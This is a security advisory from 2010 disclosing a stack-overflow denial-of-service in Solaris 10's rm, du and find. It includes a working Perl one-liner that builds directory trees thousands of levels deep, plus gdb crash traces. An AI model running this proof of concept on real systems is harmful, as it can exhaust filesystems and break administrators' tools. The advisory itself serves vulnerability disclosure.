Sun Solaris 10 filesystem rm(1),find(1),etc, Denial-of-service

2010-05-2700:00:00

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[ Sun Solaris 10 filesystem rm(1),find(1),etc, Denial-of-service ]

Author: Maksymilian Arciemowicz
SecurityReason.com
Date:

- Dis.: 17.04.2010
- Pub.: 21.05.2010

Affected Software:

- Sun Solaris 10 10/09

Original URL:
http://securityreason.com/achievement_securityalert/85

— 0.Description —
Solaris is a Unix operating system introduced by Sun Microsystems in 1992 as the
successor to SunOS.

Sun Microsystems, Inc. is a wholly owned subsidiary of Oracle Corporation, selling
computers, computer components, computer software, and information technology services.
Sun was founded on February 24, 1982. The company was headquartered in Santa Clara,
California (part of Silicon Valley), on the former west campus of the Agnews
Developmental Center.

In computing, ZFS is a combined file system and logical volume manager designed by Sun
Microsystems. The features of ZFS include support for high storage capacities,
integration of the concepts of filesystem and volume management, snapshots and
copy-on-write clones, continuous integrity checking and automatic repair, RAID-Z and
native NFSv4 ACLs.

— 1. Sun Solaris 10 filesystem rm(1),find(1),etc, Denial-of-service —
We can create, deep tree and when we will remove, scan or something else with this tree,
affected program will crash with stack overflow sympton

PoC:

perl -e '$a="X";for(1…8000){ ! -d $a and mkdir $a and chdir $a }'

we need use 1…8000 or bigger value to make stack overflow.

in result

du X

Segmentation fault (core dumped)

/usr/local/bin/gdb -q du

(no debugging symbols found)
(gdb) r X
Starting program: /usr/bin/du X
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)

Program received signal SIGSEGV, Segmentation fault.
0xfeedfc8a in _ndoprnt () from /lib/libc.so.1
(gdb) x/i $eip
0xfeedfc8a <_ndoprnt+12>: push %ebp

We can simple remove this dir for 1…8000

rm -rf X

but let`s try create this

perl -e '$a="Y";for(1…50000){ ! -d $a and mkdir $a and chdir $a }'

rm -rf Y

Segmentation fault (core dumped)

rm(1) has fail!

what is wrong? stack overflow

/usr/local/bin/gdb -q rm

(no debugging symbols found)
(gdb) r -rf Y
Starting program: /usr/bin/rm -rf Y
(no debugging symbols found)
(no debugging symbols found)

Program received signal SIGSEGV, Segmentation fault.
0x08051c03 in ?? ()
(gdb) x/i $eip
0x8051c03: push %ebx

find Y CX >> /dev/null

Segmentation fault (core dumped)

find(1) also fails!

/usr/local/bin/gdb -q find

(no debugging symbols found)
(gdb) r Y CX >> /dev/null
Starting program: /usr/bin/find Y CX >> /dev/null
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)

Program received signal SIGSEGV, Segmentation fault.
0xfeecfc8a in _ndoprnt () from /lib/libc.so.1
(gdb) x/i $eip
0xfeecfc8a <_ndoprnt+12>: push %ebp